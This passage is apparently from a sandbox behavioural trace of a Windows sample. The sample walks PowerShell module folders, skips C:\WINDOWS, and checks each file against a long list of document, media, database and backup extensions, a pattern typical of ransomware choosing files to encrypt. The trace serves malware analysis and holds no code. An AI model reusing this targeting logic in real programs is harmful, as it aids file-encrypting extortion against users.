dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4420ba0 [0195.946] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0195.946] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0195.946] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 84 [0195.946] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 1 [0195.946] lstrlenW (lpString="Microsoft.PowerShell.Operation.Validation") returned 41 [0195.946] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Microsoft.PowerShell.Operation.Validation") returned -1 [0195.946] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4400060 [0195.946] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 84 [0195.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420da0 [0195.947] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.947] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0195.947] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 90 [0195.947] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 1 [0195.947] lstrlenW (lpString="1.0.1") returned 5 [0195.947] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1.0.1") returned 1 [0195.947] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0195.947] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 90 [0195.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4421020 [0196.119] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0196.119] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0196.119] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 102 [0196.119] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 1 [0196.119] lstrlenW (lpString="Diagnostics") returned 11 [0196.119] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Diagnostics") returned -1 [0196.119] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44c5f58 [0196.120] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 102 [0196.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420a20 [0196.121] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.121] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1 [0196.121] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 116 [0196.121] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 1 [0196.121] lstrlenW (lpString="Comprehensive") returned 13 [0196.121] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Comprehensive") returned -1 [0196.121] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44d5f60 [0196.121] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 116 [0196.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0196.122] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0196.122] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1 [0196.122] lstrlenW (lpString="Comprehensive.Tests.ps1") returned 23 [0196.122] lstrlenW (lpString=".1cd") returned 4 [0196.122] lstrcmpiW (lpString1=".1cd", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".3ds") returned 4 [0196.123] lstrcmpiW (lpString1=".3ds", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".3fr") returned 4 [0196.123] lstrcmpiW (lpString1=".3fr", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".3g2") returned 4 [0196.123] lstrcmpiW (lpString1=".3g2", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".3gp") returned 4 [0196.123] lstrcmpiW (lpString1=".3gp", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".7z") returned 3 [0196.123] lstrcmpiW (lpString1=".7z", lpString2="ps1") returned -1 [0196.123] lstrlenW (lpString=".accda") returned 6 [0196.123] lstrcmpiW (lpString1=".accda", lpString2="ts.ps1") returned -1 [0196.123] lstrlenW (lpString=".accdb") returned 6 [0196.123] lstrcmpiW (lpString1=".accdb", lpString2="ts.ps1") returned -1 [0196.123] lstrlenW (lpString=".accdc") returned 6 [0196.123] lstrcmpiW (lpString1=".accdc", lpString2="ts.ps1") returned -1 [0196.123] lstrlenW (lpString=".accde") returned 6 [0196.123] lstrcmpiW (lpString1=".accde", lpString2="ts.ps1") returned -1 [0196.123] lstrlenW (lpString=".accdt") returned 6 [0196.123] lstrcmpiW (lpString1=".accdt", lpString2="ts.ps1") returned -1 [0196.123] lstrlenW (lpString=".accdw") returned 6 [0196.123] lstrcmpiW (lpString1=".accdw", lpString2="ts.ps1") returned -1 [0196.123] lstrlenW (lpString=".adb") returned 4 [0196.123] lstrcmpiW (lpString1=".adb", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".adp") returned 4 [0196.123] lstrcmpiW (lpString1=".adp", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".ai") returned 3 [0196.123] lstrcmpiW (lpString1=".ai", lpString2="ps1") returned -1 [0196.123] lstrlenW (lpString=".ai3") returned 4 [0196.123] lstrcmpiW (lpString1=".ai3", lpString2=".ps1") returned -1 [0196.123] lstrlenW (lpString=".ai4") returned 4 [0196.124] lstrcmpiW (lpString1=".ai4", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".ai5") returned 4 [0196.124] lstrcmpiW (lpString1=".ai5", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".ai6") returned 4 [0196.124] lstrcmpiW (lpString1=".ai6", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".ai7") returned 4 [0196.124] lstrcmpiW (lpString1=".ai7", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".ai8") returned 4 [0196.124] lstrcmpiW (lpString1=".ai8", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".anim") returned 5 [0196.124] lstrcmpiW (lpString1=".anim", lpString2="s.ps1") returned -1 [0196.124] lstrlenW (lpString=".arw") returned 4 [0196.124] lstrcmpiW (lpString1=".arw", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".as") returned 3 [0196.124] lstrcmpiW (lpString1=".as", lpString2="ps1") returned -1 [0196.124] lstrlenW (lpString=".asa") returned 4 [0196.124] lstrcmpiW (lpString1=".asa", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".asc") returned 4 [0196.124] lstrcmpiW (lpString1=".asc", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".ascx") returned 5 [0196.124] lstrcmpiW (lpString1=".ascx", lpString2="s.ps1") returned -1 [0196.124] lstrlenW (lpString=".asm") returned 4 [0196.124] lstrcmpiW (lpString1=".asm", lpString2=".ps1") returned -1 [0196.124] lstrlenW (lpString=".asmx") returned 5 [0196.124] lstrcmpiW (lpString1=".asmx", lpString2="s.ps1") returned -1 [0196.124] lstrlenW (lpString=".asp") returned 4 [0196.124] lstrcmpiW (lpString1=".asp", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".aspx") returned 5 [0196.125] lstrcmpiW (lpString1=".aspx", lpString2="s.ps1") returned -1 [0196.125] lstrlenW (lpString=".asr") returned 4 [0196.125] lstrcmpiW (lpString1=".asr", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".asx") returned 4 [0196.125] lstrcmpiW (lpString1=".asx", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".avi") returned 4 [0196.125] lstrcmpiW (lpString1=".avi", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".avs") returned 4 [0196.125] lstrcmpiW (lpString1=".avs", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".backup") returned 7 [0196.125] lstrcmpiW (lpString1=".backup", lpString2="sts.ps1") returned -1 [0196.125] lstrlenW (lpString=".bak") returned 4 [0196.125] lstrcmpiW (lpString1=".bak", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".bay") returned 4 [0196.125] lstrcmpiW (lpString1=".bay", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".bd") returned 3 [0196.125] lstrcmpiW (lpString1=".bd", lpString2="ps1") returned -1 [0196.125] lstrlenW (lpString=".bin") returned 4 [0196.125] lstrcmpiW (lpString1=".bin", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".bmp") returned 4 [0196.125] lstrcmpiW (lpString1=".bmp", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".bz2") returned 4 [0196.125] lstrcmpiW (lpString1=".bz2", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".c") returned 2 [0196.125] lstrcmpiW (lpString1=".c", lpString2="s1") returned -1 [0196.125] lstrlenW (lpString=".cdr") returned 4 [0196.125] lstrcmpiW (lpString1=".cdr", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".cer") returned 4 [0196.125] lstrcmpiW (lpString1=".cer", lpString2=".ps1") returned -1 [0196.125] lstrlenW (lpString=".cf") returned 3 [0196.126] lstrcmpiW (lpString1=".cf", lpString2="ps1") returned -1 [0196.126] lstrlenW (lpString=".cfc") returned 4 [0196.126] lstrcmpiW (lpString1=".cfc", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".cfm") returned 4 [0196.126] lstrcmpiW (lpString1=".cfm", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".cfml") returned 5 [0196.126] lstrcmpiW (lpString1=".cfml", lpString2="s.ps1") returned -1 [0196.126] lstrlenW (lpString=".cfu") returned 4 [0196.126] lstrcmpiW (lpString1=".cfu", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".chm") returned 4 [0196.126] lstrcmpiW (lpString1=".chm", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".cin") returned 4 [0196.126] lstrcmpiW (lpString1=".cin", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".class") returned 6 [0196.126] lstrcmpiW (lpString1=".class", lpString2="ts.ps1") returned -1 [0196.126] lstrlenW (lpString=".clx") returned 4 [0196.126] lstrcmpiW (lpString1=".clx", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".config") returned 7 [0196.126] lstrcmpiW (lpString1=".config", lpString2="sts.ps1") returned -1 [0196.126] lstrlenW (lpString=".cpp") returned 4 [0196.126] lstrcmpiW (lpString1=".cpp", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".cr2") returned 4 [0196.126] lstrcmpiW (lpString1=".cr2", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".crt") returned 4 [0196.126] lstrcmpiW (lpString1=".crt", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".crw") returned 4 [0196.126] lstrcmpiW (lpString1=".crw", lpString2=".ps1") returned -1 [0196.126] lstrlenW (lpString=".cs") returned 3 [0196.126] lstrcmpiW (lpString1=".cs", lpString2="ps1") returned -1 [0196.126] lstrlenW (lpString=".css") returned 4 [0196.127] lstrcmpiW (lpString1=".css", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".csv") returned 4 [0196.127] lstrcmpiW (lpString1=".csv", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".cub") returned 4 [0196.127] lstrcmpiW (lpString1=".cub", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dae") returned 4 [0196.127] lstrcmpiW (lpString1=".dae", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dat") returned 4 [0196.127] lstrcmpiW (lpString1=".dat", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".db") returned 3 [0196.127] lstrcmpiW (lpString1=".db", lpString2="ps1") returned -1 [0196.127] lstrlenW (lpString=".dbf") returned 4 [0196.127] lstrcmpiW (lpString1=".dbf", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dbx") returned 4 [0196.127] lstrcmpiW (lpString1=".dbx", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dc3") returned 4 [0196.127] lstrcmpiW (lpString1=".dc3", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dcm") returned 4 [0196.127] lstrcmpiW (lpString1=".dcm", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dcr") returned 4 [0196.127] lstrcmpiW (lpString1=".dcr", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".der") returned 4 [0196.127] lstrcmpiW (lpString1=".der", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dib") returned 4 [0196.127] lstrcmpiW (lpString1=".dib", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dic") returned 4 [0196.127] lstrcmpiW (lpString1=".dic", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".dif") returned 4 [0196.127] lstrcmpiW (lpString1=".dif", lpString2=".ps1") returned -1 [0196.127] lstrlenW (lpString=".divx") returned 5 [0196.128] lstrcmpiW (lpString1=".divx", lpString2="s.ps1") returned -1 [0196.128] lstrlenW (lpString=".djvu") returned 5 [0196.128] lstrcmpiW (lpString1=".djvu", lpString2="s.ps1") returned -1 [0196.128] lstrlenW (lpString=".dng") returned 4 [0196.128] lstrcmpiW (lpString1=".dng", lpString2=".ps1") returned -1 [0196.128] lstrlenW (lpString=".doc") returned 4 [0196.128] lstrcmpiW (lpString1=".doc", lpString2=".ps1") returned -1 [0196.128] lstrlenW (lpString=".docm") returned 5 [0196.128] lstrcmpiW (lpString1=".docm", lpString2="s.ps1") returned -1 [0196.128] lstrlenW (lpString=".docx") returned 5 [0196.128] lstrcmpiW (lpString1=".docx", lpString2="s.ps1") returned -1 [0196.128] lstrlenW (lpString=".dot") returned 4 [0196.128] lstrcmpiW (lpString1=".dot", lpString2=".ps1") returned -1 [0196.128] lstrlenW (lpString=".dotm") returned 5 [0196.128] lstrcmpiW (lpString1=".dotm", lpString2="s.ps1") returned -1 [0196.128] lstrlenW (lpString=".dotx") returned 5 [0196.128] lstrcmpiW (lpString1=".dotx", lpString2="s.ps1") returned -1 [0196.128] lstrlenW (lpString=".dpx") returned 4 [0196.128] lstrcmpiW (lpString1=".dpx", lpString2=".ps1") returned -1 [0196.128] lstrlenW (lpString=".dqy") returned 4 [0196.128] lstrcmpiW (lpString1=".dqy", lpString2=".ps1") returned -1 [0196.128] lstrlenW (lpString=".dsn") returned 4 [0196.128] lstrcmpiW (lpString1=".dsn", lpString2=".ps1") returned -1 [0196.128] lstrlenW (lpString=".dt") returned 3 [0196.128] lstrcmpiW (lpString1=".dt", lpString2="ps1") returned -1 [0196.129] lstrlenW (lpString=".dtd") returned 4 [0196.129] lstrcmpiW (lpString1=".dtd", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".dwg") returned 4 [0196.129] lstrcmpiW (lpString1=".dwg", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".dwt") returned 4 [0196.129] lstrcmpiW (lpString1=".dwt", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".dx") returned 3 [0196.129] lstrcmpiW (lpString1=".dx", lpString2="ps1") returned -1 [0196.129] lstrlenW (lpString=".dxf") returned 4 [0196.129] lstrcmpiW (lpString1=".dxf", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".edml") returned 5 [0196.129] lstrcmpiW (lpString1=".edml", lpString2="s.ps1") returned -1 [0196.129] lstrlenW (lpString=".efd") returned 4 [0196.129] lstrcmpiW (lpString1=".efd", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".elf") returned 4 [0196.129] lstrcmpiW (lpString1=".elf", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".emf") returned 4 [0196.129] lstrcmpiW (lpString1=".emf", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".emz") returned 4 [0196.129] lstrcmpiW (lpString1=".emz", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".epf") returned 4 [0196.129] lstrcmpiW (lpString1=".epf", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".eps") returned 4 [0196.129] lstrcmpiW (lpString1=".eps", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".epsf") returned 5 [0196.129] lstrcmpiW (lpString1=".epsf", lpString2="s.ps1") returned -1 [0196.129] lstrlenW (lpString=".epsp") returned 5 [0196.129] lstrcmpiW (lpString1=".epsp", lpString2="s.ps1") returned -1 [0196.129] lstrlenW (lpString=".erf") returned 4 [0196.129] lstrcmpiW (lpString1=".erf", lpString2=".ps1") returned -1 [0196.129] lstrlenW (lpString=".exr") returned 4 [0196.130] lstrcmpiW (lpString1=".exr", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".f4v") returned 4 [0196.130] lstrcmpiW (lpString1=".f4v", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".fido") returned 5 [0196.130] lstrcmpiW (lpString1=".fido", lpString2="s.ps1") returned -1 [0196.130] lstrlenW (lpString=".flm") returned 4 [0196.130] lstrcmpiW (lpString1=".flm", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".flv") returned 4 [0196.130] lstrcmpiW (lpString1=".flv", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".frm") returned 4 [0196.130] lstrcmpiW (lpString1=".frm", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".fxg") returned 4 [0196.130] lstrcmpiW (lpString1=".fxg", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".geo") returned 4 [0196.130] lstrcmpiW (lpString1=".geo", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".gif") returned 4 [0196.130] lstrcmpiW (lpString1=".gif", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".grs") returned 4 [0196.130] lstrcmpiW (lpString1=".grs", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".gz") returned 3 [0196.130] lstrcmpiW (lpString1=".gz", lpString2="ps1") returned -1 [0196.130] lstrlenW (lpString=".h") returned 2 [0196.130] lstrcmpiW (lpString1=".h", lpString2="s1") returned -1 [0196.130] lstrlenW (lpString=".hdr") returned 4 [0196.130] lstrcmpiW (lpString1=".hdr", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".hpp") returned 4 [0196.130] lstrcmpiW (lpString1=".hpp", lpString2=".ps1") returned -1 [0196.130] lstrlenW (lpString=".hta") returned 4 [0196.130] lstrcmpiW (lpString1=".hta", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".htc") returned 4 [0196.131] lstrcmpiW (lpString1=".htc", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".htm") returned 4 [0196.131] lstrcmpiW (lpString1=".htm", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".html") returned 5 [0196.131] lstrcmpiW (lpString1=".html", lpString2="s.ps1") returned -1 [0196.131] lstrlenW (lpString=".icb") returned 4 [0196.131] lstrcmpiW (lpString1=".icb", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".ics") returned 4 [0196.131] lstrcmpiW (lpString1=".ics", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".iff") returned 4 [0196.131] lstrcmpiW (lpString1=".iff", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".inc") returned 4 [0196.131] lstrcmpiW (lpString1=".inc", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".indd") returned 5 [0196.131] lstrcmpiW (lpString1=".indd", lpString2="s.ps1") returned -1 [0196.131] lstrlenW (lpString=".ini") returned 4 [0196.131] lstrcmpiW (lpString1=".ini", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".iqy") returned 4 [0196.131] lstrcmpiW (lpString1=".iqy", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".j2c") returned 4 [0196.131] lstrcmpiW (lpString1=".j2c", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".j2k") returned 4 [0196.131] lstrcmpiW (lpString1=".j2k", lpString2=".ps1") returned -1 [0196.131] lstrlenW (lpString=".java") returned 5 [0196.131] lstrcmpiW (lpString1=".java", lpString2="s.ps1") returned -1 [0196.131] lstrlenW (lpString=".jp2") returned 4 [0196.131] 